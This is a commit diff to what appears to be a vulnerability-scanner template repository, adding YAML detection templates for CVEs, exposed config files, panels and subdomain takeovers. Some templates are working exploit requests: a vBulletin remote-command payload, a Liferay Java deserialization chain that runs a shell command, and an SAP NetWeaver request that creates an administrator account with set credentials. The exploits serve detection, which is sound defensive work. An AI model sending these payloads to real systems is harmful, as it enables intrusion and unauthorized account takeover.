temp fix for extractors

Update open-redirect.yaml

.gitignore

@@ -0,0 +1,2 @@
+.DS_Store
+local/

GUIDE.md

@@ -61,6 +61,8 @@ info:
   author: Ice3man
   # Severity is the severity for the template.
   severity: medium
+  #  Description optionally describes the template.
+  description: Searches for the pattern /.git/config on passed URLs.
 ```
 
 Actual requests and corresponding matchers are placed below the info block and they perform the task of making requests to target servers and finding if the template request was successful.
@@ -423,6 +425,7 @@ info:
   name: Git Config File
   author: Ice3man
   severity: medium
+  description: Searches for the pattern /.git/config on passed URLs.
 
 requests:
   - method: GET
@@ -525,6 +528,7 @@ info:
   name: Dummy A dns request
   author: mzack9999
   severity: none
+  description: Checks if CNAME and A record is returned.
 
 dns:
   - name: "{{FQDN}}"
@@ -555,6 +559,7 @@ id: workflow-example
 info:
   name: Jira-Pawner
   author: mzack9999
+  description: Detect Jira and if found; then check for CVEs in list.
 
 variables:
 
@@ -586,6 +591,7 @@ id: workflow-example
 info:
   name: Jira-Pawner
   author: mzack9999
+  description: Detect Jira and if found; perform custom pwn.
 
 variables:
 

cves/CVE-2019-16759.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-16759
+
+info:
+  name: 0day RCE in vBulletin v5.0.0-v5.5.4
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        POST /index.php?routestring=ajax/render/widget_php HTTP/1.1
+
+        widgetConfig[code]=echo%20%27bm9uZXhpc3RlbnQ6MTMzNwo=%27%20|%20base64%20-d;%20exit;
+      - |
+        POST / HTTP/1.1
+
+        {"routestring":"ajax\/render\/widget_php","widgetConfig[code]":"echo 'bm9uZXhpc3RlbnQ6MTMzNwo=' | base64 -d; exit;"}
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "nonexistent:1337"

cves/CVE-2020-1147.yaml

@@ -0,0 +1,35 @@
+id: CVE-2020-1147
+
+info:
+  name: RCE at SharePoint Server (.NET Framework & Visual Studio) detection
+  author: dwisiswant0
+  severity: critical
+
+  # Ref:
+  # - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1147
+  # - https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/_layouts/15/listform.aspx?PageType=1&ListId=%7B13371337-1337-1337-1337-133713371337%7D"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "List does not exist"
+          - "It may have been deleted by another user"
+        part: body
+        condition: and
+      - type: word
+        words:
+          - "Microsoft-IIS"
+          - "X-SharePointHealthScore"
+          - "SharePointError"
+          - "SPRequestGuid"
+          - "MicrosoftSharePointTeamServices"
+        condition: or
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2020-3187.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-3187
+
+# Reference: https://twitter.com/aboul3la/status/1286809567989575685
+
+info:
+  name: CVE-2020-3187
+  author: KareemSe1im
+  severity: High
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/+CSCOE+/session_password.html"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - webvpn
+          - Webvpn
+        part: header
+
+      - type: status
+        status:
+          - 200

cves/CVE-2020-3452.yaml

@@ -0,0 +1,19 @@
+id: CVE-2020-3452
+
+# Source: https://twitter.com/aboul3la/status/1286012324722155525
+
+info:
+  name: CVE-2020-3452
+  author: pdteam
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../"
+    matchers:
+      - type: word
+        words:
+          - "INTERNAL_PASSWORD_ENABLED"
+          - "CONF_VIRTUAL_KEYBOARD"
+        condition: and

cves/CVE-2020-6287.yaml

@@ -0,0 +1,37 @@
+id: CVE-2020-6287
+
+info:
+  name: Create an Administrative User in SAP NetWeaver AS JAVA (LM Configuration Wizard)
+  author: dwisiswant0
+  severity: critical
+
+  # Affected Versions: 7.30, 7.31, 7.40, 7.50
+
+  # p.s:
+  # > Don't forget to change the default credentials
+  # > to create new admin in associated file:
+  # > `payloads/CVE-2020-6287.xml`
+
+  # Ref:
+  # - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6287
+
+requests:
+  - payloads:
+      data: "payloads/CVE-2020-6287.xml"
+    raw:
+      - |
+        POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml; charset=UTF-8
+        Connection: close
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64(data)}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "urn:CTCWebServiceSi"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-7961.yaml

@@ -14,10 +14,10 @@ requests:
       User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
       Connection: "close"
       Content-Type: "application/x-www-form-urlencoded"
-      cmd2: "bash -c 'curl -v \"http://nonexistent/\" -H \"Connection: close\"' -m 1"
+      cmd2: "bash -c 'echo \"bm9uZXhpc3RlbnQ6MTMzNwo=\" | base64 -d'"
     body: "{\"p_auth\":\"AdsXeCqz\",\"tableId%3d1\":\"\",\"formDate\":\"1526638413000\",\"columnId\":\"123\",\"defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\":\"{\\\"userOverridesAsString\\\":\\\"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878;\\\"}\",\"name\":\"A\",\"cmd\":\"{\\\"/expandocolumn/update-column\\\":{}}\"Line truncated
     matchers:
       - type: word
         words:
-          - "Could not resolve host"
+          - "nonexistent:1337"
         part: body

dns/azure-cnames-finder.yaml

@@ -1,37 +0,0 @@
-id: azure-cnames-finder
-
-info:
-  name: Azure CNAMEs
-  author: mzack9999
-  severity: informative
-
-  # Update the list with more CNAMEs related to azure
-
-dns:
-  - name: "{{FQDN}}"
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          - "azure-api.net"
-          - "azure-mobile.net"
-          - "azurecontainer.io"
-          - "azurecr.io"
-          - "azuredatalakestore.net"
-          - "azureedge.net"
-          - "azurefd.net"
-          - "azurehdinsight.net"
-          - "azurewebsites.net"
-          - "azurewebsites.windows.net"
-          - "blob.core.windows.net"
-          - "cloudapp.azure.com"
-          - "cloudapp.net"
-          - "database.windows.net"
-          - "redis.cache.windows.net"
-          - "search.windows.net"
-          - "servicebus.windows.net"
-          - "trafficmanager.net"
-          - "visualstudio.com"

dns/filter-valid.yaml

@@ -1,19 +0,0 @@
-id: filter-valid
-
-info:
-  name: Valid Domains Filter
-  author: mzack9999
-  severity: informative
-
-dns:
-  - name: "{{FQDN}}"  # Random prefix
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          - "NOERROR"
-          - "IN\tCNAME"
-          - "IN\tA"

dns/filter-wildcard.yaml

@@ -1,19 +0,0 @@
-id: filter-wildcard
-
-info:
-  name: Wildcard Filter
-  author: mzack9999
-  severity: informative
-
-dns:
-  - name: "0831058744.{{FQDN}}"  # Random prefix
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          - "NXDOMAIN"
-          - "SERVFAIL"
-          - "REFUSED"

files/cgi-test-page.yaml

@@ -0,0 +1,22 @@
+id: cgi-test-page
+info:
+  name: CGI Test page
+  author: YASH ANAND @yashanand155
+  severity: informative
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/test/test.cgi"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - HTTP_ACCEPT
+          - HTTP_ACCEPT_ENCODING
+        condition: and
+
+      - type: status
+        status:
+          - 200

files/dir-listing.yaml

@@ -3,7 +3,7 @@ id: dir-listing
 info:
   name: Directory listing enabled
   author: _harleo
-  severity: low
+  severity: informative
 
 requests:
   - method: GET

files/exposed-kibana.yaml

@@ -0,0 +1,26 @@
+id: exposed-kibana
+
+info:
+  name: Exposed Kibana
+  author: Shine
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/'
+      - '{{BaseURL}}:5601/'
+      - '{{BaseURL}}/app/kibana/'
+      - '{{BaseURL}}:5601/app/kibana/'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kibanaWelcomeView'
+          - 'cluster_uuid'
+          - 'kibanaWelcomeLogo'
+          - 'kibanaWelcomeTitle'
+      - type: status
+        status:
+          - 200

files/filezilla.yaml

@@ -0,0 +1,29 @@
+id: filezilla-exposed
+
+info:
+  name: Filezilla
+  author: amsda
+  severity: medium
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/filezilla.xml"
+      - "{{BaseURL}}/sitemanager.xml"
+      - "{{BaseURL}}/FileZilla.xml"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<FileZilla"
+          - "<Servers>"
+        condition: and
+
+      - type: word
+        words:
+          - xml
+        part: header
+
+      - type: status
+        status:
+          - 200

files/git-config.yaml

@@ -4,6 +4,7 @@ info:
   name: Git Config Disclosure
   author: Ice3man
   severity: medium
+  description: Searches for the pattern /.git/config on passed URLs.
 
 requests:
   - method: GET

files/htaccess-config.yaml

@@ -0,0 +1,18 @@
+id: htaccess-config
+
+info:
+  name: HTaccess config file
+  author: Yash Anand @yashanand155
+  severity: informative
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.htaccess"
+    matchers:
+      - type: word
+        words:
+          - RewriteRule
+          - </IfModule>
+          - <IfModule
+        condition: and

files/lazy-file.yaml

@@ -0,0 +1,20 @@
+id: lazy-file-manager
+
+info:
+  name: Lazy File Manager
+  author: amsda
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/lfm.php"
+    matcher-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - Lazy File Manager

files/web-config.yaml

@@ -0,0 +1,22 @@
+id: web-config
+info:
+  name: Web Config file
+  author: Yash Anand @yashanand155
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/web.config'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - <configuration>
+          - <system.webServer>
+        condition: and
+
+      - type: status
+        status:
+          - 200

panels/jmx-console.yaml

@@ -0,0 +1,13 @@
+id: jmx-console
+info:
+  name: JMX Console
+  author: Yash Anand @yashanand155
+  severity: Low
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/jmx-console/'
+    matchers:
+      - type: word
+        words:
+          - JBoss JMX Management Console

panels/sap-recon-detect.yaml

@@ -0,0 +1,35 @@
+id: sap-recon-detect
+
+info:
+  name: SAP RECON Finder
+  author: samueladi_ & organiccrap
+  severity: medium
+
+  # Source:- https://github.com/chipik/SAP_RECON
+  # This is detection template, please use above poc to exploit this further.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/CTCWebService/CTCWebServiceBean"
+      - "{{BaseURL}}/CTCWebService/CTCWebServiceBean?wsdl"
+      - "{{BaseURL}}/CTCWebService/Config1?wsdl"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - Method Not Allowed
+          - Expected request method POST. Found GET.
+          - Generated by WSDLDefinitionsParser
+          - bns0:Config1Binding
+          - wsdl:definitions
+          - tns:CTCWebServiceSiBinding
+        condition: or
+
+      - type: status
+        status:
+          - 405
+          - 200
+        condition: or

panels/swagger-panel.yaml

@@ -15,6 +15,28 @@ requests:
       - "{{BaseURL}}/api-docs/swagger.json"
       - "{{BaseURL}}/swagger.json"
       - "{{BaseURL}}/swagger/v1/swagger.json"
+      - "{{BaseURL}}/api/index.html"
+      - "{{BaseURL}}/api/docs/"
+      - "{{BaseURL}}/api/swagger.json"
+      - "{{BaseURL}}/api/swagger.yaml"
+      - "{{BaseURL}}/api/swagger.yml"
+      - "{{BaseURL}}/api/swagger/index.html"
+      - "{{BaseURL}}/api/swagger/swagger-ui.html"
+      - "{{BaseURL}}/api/api-docs/swagger.json"
+      - "{{BaseURL}}/api/swagger-ui/swagger.json"
+      - "{{BaseURL}}/api/apidocs/swagger.json"
+      - "{{BaseURL}}/api/swagger-ui/api-docs"
+      - "{{BaseURL}}/api/api-docs"
+      - "{{BaseURL}}/api/apidocs"
+      - "{{BaseURL}}/api/swagger"
+      - "{{BaseURL}}/api/swagger/static/index.html"
+      - "{{BaseURL}}/api/swagger-resources"
+      - "{{BaseURL}}/api/swagger-resources/restservices/v2/api-docs"
+      - "{{BaseURL}}/api/__swagger__/"
+      - "{{BaseURL}}/api/_swagger_/"
+      - "{{BaseURL}}/api/spec/swagger.json"
+      - "{{BaseURL}}/api/swagger/ui/index"
+      - "{{BaseURL}}/api/api/schema/"
     matchers:
       - type: word
         words:

payloads/CVE-2020-6287.xml

@@ -0,0 +1 @@
+<root><user><JavaOrABAP>java</JavaOrABAP><username>projectdiscover</username><password>proj3ctD1$c0v3ry</password><userType></userType></user></root>

subdomain-takeover/detect-all-takeovers.yaml

@@ -1,15 +1,16 @@
 id: detect-all-takeovers
 
 info:
-  name: Subdomain takeover finder
+  name: Subdomain Takeover Detection
   author: "melbadry9 & pxmme1337"
   severity: high
 
   # Update this list with new takeovers matchers
   # Do not delete other template files for takeover
   # https://github.com/EdOverflow/can-i-take-over-xyz
-  # You need to claim the CNAME the subdomain to confirm the takeover.
-  # Do not report this without claiming the CNAME.
+  # You need to claim the subdomain / CNAME of the subdomain to confirm the takeover.
+  # Do not report subdomain takeover issues only based on detection.
+  # Total number of services #71
 
 requests:
   - method: GET
@@ -18,105 +19,6 @@ requests:
     matchers-condition: or
 
     matchers:
-      - type: word
-        name: pantheon.io
-        words:
-          - "The gods are wise, but do not know of the site which you seek."
-
-      - type: word
-        name: aws-s3-bucket
-        words:
-          - "The specified bucket does not exist"
-
-      - type: word
-        name: anima
-        words:
-          - "If this is your website and you've just created it, try refreshing in a minute"
-
-      - type: word
-        name: ghost
-        words:
-          - "The thing you were looking for is no longer here, or never was"
-
-      - type: regex
-        name: worksites
-        regex:
-          - "(?:Company Not Found|you’re looking for doesn’t exist)"
-
-      - type: word
-        name: landingi
-        words:
-          - It looks like you're lost
-          - The page you are looking for is not found
-
-      - type: word
-        name: helprace
-        words:
-          - Alias not configured!
-          - Admin of this Helprace account needs to set up domain alias
-          - "(see Step 2 here: Using your own domain with Helprace)."
-
-      - type: word
-        name: canny
-        words:
-          - Company Not Found
-          - There is no such company. Did you enter the right URL?
-
-      - type: word
-        name: ngrok
-        words:
-          - ngrok.io not found
-          - Tunnel *.ngrok.io not found
-
-      - type: word
-        name: tumblr
-        words:
-          - Whatever you were looking for doesn't currently exist at this address.
-          - There's nothing here.
-
-      - type: word
-        name: github
-        words:
-          - There isn't a GitHub Pages site here.
-          - For root URLs (like http://example.com/) you must provide an index.html file
-
-      - type: word
-        name: heroku
-        words:
-          - There's nothing here, yet.
-          - herokucdn.com/error-pages/no-such-app.html
-          - "<title>No such app</title>"
-
-      - type: word
-        name: tictail
-        words:
-          - Building a brand of your own?
-          - 'to target URL: <a href="https://tictail.com'
-          - Start selling on Tictail.
-
-      - type: word
-        name: campaignmonitor
-        words:
-          - "<strong>Trying to access your account?</strong>"
-          - or <a href="mailto:[email protected]
-
-      - type: word
-        name: cargocollective
-        words:
-          - <div class="notfound">
-          - 404 Not Found<br>
-
-      - type: word
-        name: bitbucket
-        words:
-          - The page you have requested does not exist
-          - Repository not found
-
-      - type: word
-        name: smartling
-        words:
-          - Domain is not configured
-
       - type: word
         name: acquia
         words:
@@ -124,93 +26,14 @@ requests:
           - The site you are looking for could not be found.
 
       - type: word
-        name: uservoice
+        name: agilecrm
         words:
-          - This UserVoice subdomain is currently available!
+          - Sorry, this page is no longer available.
 
       - type: word
-        name: ghost
+        name: airee
         words:
-          - The thing you were looking for is no longer here
-          - The thing you were looking for is no longer here, or never was
-
-      - type: word
-        name: tilda
-        words:
-          - Domain has been assigned
-
-      - type: word
-        name: wordpress
-        words:
-          - Do you want to register
-
-      - type: word
-        name: teamwork
-        words:
-          - Oops - We didn't find your site.
-
-      - type: word
-        name: helpjuice
-        words:
-          - We could not find what you're looking for.
-
-      - type: word
-        name: helpscout
-        words:
-          - "No settings were found for this company:"
-
-      - type: word
-        name: cargo
-        words:
-          - If you're moving your domain away from Cargo you must make this configuration
-            through your registrar's DNS control panel.
-
-      - type: word
-        name: feedpress
-        words:
-          - The feed has not been found.
-
-      - type: word
-        name: surge
-        words:
-          - project not found
-
-      - type: word
-        name: surveygizmo
-        words:
-          - data-html-name
-
-      - type: word
-        name: mashery
-        words:
-          - Unrecognized domain <strong>
-
-      - type: word
-        name: intercom
-        words:
-          - This page is reserved for artistic dogs.
-          - <h1 class="headline">Uh oh. That page doesn’t exist.</h1>
-
-      - type: word
-        name: webflow
-        words:
-          - <p class="description">The page you are looking for doesn't exist or has been
-            moved.</p>
-
-      - type: word
-        name: thinkific
-        words:
-          - You may have mistyped the address or the page may have moved.
-
-      - type: word
-        name: tave
-        words:
-          - "<h1>Error 404: Page Not Found</h1>"
-
-      - type: word
-        name: wishpond
-        words:
-          - https://www.wishpond.com/404?campaign=true
+          - Ошибка 402. Сервис Айри.рф не оплачен
 
       - type: word
         name: aftership
@@ -224,9 +47,14 @@ requests:
           - There is no portal here ... sending you back to Aha!
 
       - type: word
-        name: brightcove
+        name: anima
         words:
-          - '<p class="bc-gallery-error-code">Error Code: 404</p>'
+          - "If this is your website and you've just created it, try refreshing in a minute"
+
+      - type: word
+        name: aws-bucket
+        words:
+          - "The specified bucket does not exist"
 
       - type: word
         name: bigcartel
@@ -234,24 +62,62 @@ requests:
           - "<h1>Oops! We couldn&#8217;t find that page.</h1>"
 
       - type: word
-        name: compaignmonitor
+        name: bitbucket
         words:
-          - Double check the URL or <a href="mailto:[email protected]
+          - The page you have requested does not exist
+          - Repository not found
 
       - type: word
-        name: acquia
+        name: brightcove
         words:
-          - The site you are looking for could not be found.
+          - '<p class="bc-gallery-error-code">Error Code: 404</p>'
 
       - type: word
-        name: proposify
+        name: campaignmonitor
         words:
-          - If you need immediate assistance, please contact <a href="mailto:[email protected]
+          - "<strong>Trying to access your account?</strong>"
+          - or <a href="mailto:[email protected]
 
       - type: word
-        name: simplebooklet
+        name: canny
         words:
-          - We can't find this <a href="https://simplebooklet.com
+          - Company Not Found
+          - There is no such company. Did you enter the right URL?
+
+      - type: word
+        name: cargo
+        words:
+          - If you're moving your domain away from Cargo you must make this configuration
+            through your registrar's DNS control panel.
+
+      - type: word
+        name: cargocollective
+        words:
+          - <div class="notfound">
+          - 404 Not Found<br>
+
+      - type: word
+        name: fastly
+        words:
+          - "Fastly error: unknown domain:"
+
+      - type: word
+        name: feedpress
+        words:
+          - The feed has not been found.
+
+      - type: word
+        name: frontify
+        words:
+          - 404 - Page Not Found
+          - Oops… looks like you got lost
+        condition: and
+        part: body
+
+      - type: word
+        name: gemfury
+        words:
+          - "404: This page could not be found."
 
       - type: word
         name: getresponse
@@ -259,58 +125,46 @@ requests:
           - With GetResponse Landing Pages, lead generation has never been easier
 
       - type: word
-        name: vend
+        name: ghost
         words:
-          - Looks like you've traveled too far into cyberspace.
+          - The thing you were looking for is no longer here
+          - The thing you were looking for is no longer here, or never was
 
       - type: word
-        name: jetbrains
+        name: github
         words:
-          - is not a registered InCloud YouTrack.
+          - There isn't a GitHub Pages site here.
+          - For root URLs (like http://example.com/) you must provide an index.html file
 
       - type: word
-        name: readme
-        words:
-          - Project doesnt exist... yet!
-
-      - type: word
-        name: smugmug
-        words:
-          - '{"text":"Page Not Found"'
-
-      - type: word
-        name: airee
-        words:
-          - Ошибка 402. Сервис Айри.рф не оплачен
-
-      - type: word
-        name: kinsta
-        words:
-          - No Site For Domain
-
-      - type: word
-        name: launchrock
-        words:
-          - It looks like you may have taken a wrong turn somewhere. Don't worry...it happens
-            to all of us.
-
-      - type: word
-        name: Strikingly
-        words:
-          - But if you're looking to build your own website
-          - you've come to the right place.
-
-      - type: word
-        name: HatenaBlog
+        name: hatenablog
         words:
           - 404 Blog is not found
           - Sorry, we can't find the page you're looking for.
 
       - type: word
-        name: wufoo
+        name: helpjuice
         words:
-          - Profile not found
-          - Hmmm....something is not right.
+          - We could not find what you're looking for.
+
+      - type: word
+        name: helprace
+        words:
+          - Alias not configured!
+          - Admin of this Helprace account needs to set up domain alias
+          - "(see Step 2 here: Using your own domain with Helprace)."
+
+      - type: word
+        name: helpscout
+        words:
+          - "No settings were found for this company:"
+
+      - type: word
+        name: heroku
+        words:
+          - There's nothing here, yet.
+          - herokucdn.com/error-pages/no-such-app.html
+          - "<title>No such app</title>"
 
       - type: word
         name: hubspot
@@ -318,27 +172,54 @@ requests:
           - Domain not found
           - does not exist in our system
 
+      - type: word
+        name: intercom
+        words:
+          - This page is reserved for artistic dogs.
+          - <h1 class="headline">Uh oh. That page doesn’t exist.</h1>
+
       - type: word
         name: jazzhr
         words:
           - This account no longer active
 
       - type: word
-        name: smartjob
+        name: jetbrains
         words:
-          - Job Board Is Unavailable
-          - This job board website is either expired
-          - This job board website is either expired or its domain name is invalid.
-
-      - type: regex
-        name: Uptimerobot
-        regex:
-          - "^page not found$"
+          - is not a registered InCloud YouTrack.
 
       - type: word
-        name: agile
+        name: kinsta
         words:
-          - Sorry, this page is no longer available.
+          - No Site For Domain
+
+      - type: word
+        name: landingi
+        words:
+          - It looks like you're lost
+          - The page you are looking for is not found
+
+      - type: word
+        name: launchrock
+        words:
+          - It looks like you may have taken a wrong turn somewhere. Don't worry...it happens
+            to all of us.
+
+      - type: word
+        name: mashery
+        words:
+          - Unrecognized domain <strong>
+
+      - type: word
+        name: ngrok
+        words:
+          - ngrok.io not found
+          - Tunnel *.ngrok.io not found
+
+      - type: word
+        name: pantheon.io
+        words:
+          - "The gods are wise, but do not know of the site which you seek."
 
       - type: word
         name: pingdom
@@ -346,7 +227,161 @@ requests:
           - Public Report Not Activated
           - This public report page has not been activated by the user
 
+      - type: word
+        name: proposify
+        words:
+          - If you need immediate assistance, please contact <a href="mailto:[email protected]
+
+      - type: word
+        name: readme
+        words:
+          - Project doesnt exist... yet!
+
+      - type: word
+        name: shopify
+        words:
+          - "Sorry, this shop is currently unavailable."
+
+      - type: word
+        name: simplebooklet
+        words:
+          - We can't find this <a href="https://simplebooklet.com
+
+      - type: word
+        name: smartjob
+        words:
+          - Job Board Is Unavailable
+          - This job board website is either expired
+          - This job board website is either expired or its domain name is invalid.
+
+      - type: word
+        name: smartling
+        words:
+          - Domain is not configured
+
+      - type: word
+        name: smugmug
+        words:
+          - '{"text":"Page Not Found"'
+
+      - type: word
+        name: strikingly
+        words:
+          - But if you're looking to build your own website
+          - you've come to the right place.
+
+      - type: word
+        name: surge
+        words:
+          - project not found
+
+      - type: word
+        name: surveygizmo
+        words:
+          - data-html-name
+
+      - type: word
+        name: tave
+        words:
+          - "<h1>Error 404: Page Not Found</h1>"
+
+      - type: word
+        name: teamwork
+        words:
+          - Oops - We didn't find your site.
+
+      - type: word
+        name: thinkific
+        words:
+          - You may have mistyped the address or the page may have moved.
+
+      - type: word
+        name: tictail
+        words:
+          - Building a brand of your own?
+          - 'to target URL: <a href="https://tictail.com'
+          - Start selling on Tictail.
+
+      - type: word
+        name: tilda
+        words:
+          - Domain has been assigned
+
+      - type: word
+        name: tumblr
+        words:
+          - Whatever you were looking for doesn't currently exist at this address.
+          - There's nothing here.
+
+      - type: word
+        name: uberflip
+        words:
+          - "Non-hub domain, The URL you've accessed does not provide a hub."
+
+      - type: word
+        name: unbounce
+        words:
+          - "The requested URL was not found on this server."
+
+      - type: regex
+        name: uptimerobot
+        regex:
+          - "^page not found$"
+
+      - type: word
+        name: uservoice
+        words:
+          - This UserVoice subdomain is currently available!
+
+      - type: word
+        name: vend
+        words:
+          - Looks like you've traveled too far into cyberspace.
+
+      - type: word
+        name: webflow
+        words:
+          - <p class="description">The page you are looking for doesn't exist or has been
+            moved.</p>
+
+      - type: word
+        name: wishpond
+        words:
+          - https://www.wishpond.com/404?campaign=true
+
+      - type: word
+        name: wordpress
+        words:
+          - Do you want to register
+
+      - type: regex
+        name: worksites
+        regex:
+          - "(?:Company Not Found|you&rsquo;re looking for doesn&rsquo;t exist)"
+
+      - type: word
+        name: wufoo
+        words:
+          - Profile not found
+          - Hmmm....something is not right.
+
       - type: word
         name: zendesk
         words:
           - this help center no longer exists
+
+      - type: word
+        name: readthedocs
+        words:
+          - unknown to Read the Docs
+
+      - type: word
+        name: tilda
+        words:
+          - <title>Please renew your subscription</title>
+          - Please go to the site settings and put the domain name in the Domain tab.
+
+      - type: word
+        name: smart-jobboard
+        words:
